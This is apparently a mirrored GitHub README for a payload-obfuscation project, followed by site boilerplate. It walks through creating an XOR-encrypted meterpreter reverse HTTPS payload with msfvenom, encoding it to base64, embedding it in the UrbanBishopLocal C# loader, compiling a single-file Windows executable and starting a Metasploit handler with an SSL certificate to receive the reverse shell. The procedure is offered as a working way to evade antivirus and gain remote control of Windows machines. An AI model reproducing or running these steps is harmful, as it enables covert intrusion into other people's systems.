Giter Club home page Giter Club logo

payload-obfuscation's Introduction

Payload-Obfuscation

Some Usefull tools and specific modus operanti to obfuscate payload

Payload generation

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<OurIPADRESS> LPORT=443 --encrypt xor --encrypt-key <helloworld> --format raw > testf

are the key but we can write what we want.

Hex data dump

hexdump -v -e '"\\""x" 1/1 "%02x" ""' <testf>

Convert data to Base64

base64 <testf> > <newtest>

Generate Key and certificate to obfuscate more seriously

openssl req -newkey rsa:4096 \
            -x509 \
            -sha256 \
            -days 3650 \
            -nodes \
            -out example.crt \
            -keyout example.key
  • Concatenate two files in one

example.key & example.crt > example.pem

UrbanBishopLocal (for compile c# progam)

dotnet new console -o <nameofproject>
cd <nameofproject>
code . (allowing to open the progam.cs in vscode directly)

--> in this part we will make a copy of the code in the UrbanBishopLocal folder which named program.cs --> it's template to make the obfuscation of our payload (just copy our base64 code at the end progam.cs), but also we specified the same key which we are defined in the msfvenom part.
image
image

don't forget the c# extension

dotnet build

But if you want the compilation in one file only you can run that:

dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true

Metasploit

msfconsole  
use exploit/multi/handler  
set HandlerSSLCert </home/PATH/TO/THE/example.pem> (of the key we are generate earlier)  
set StagerVerifySSLCert true  
set LHOST <ourIPADRESS>  
set LPORT 443  
exploit

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.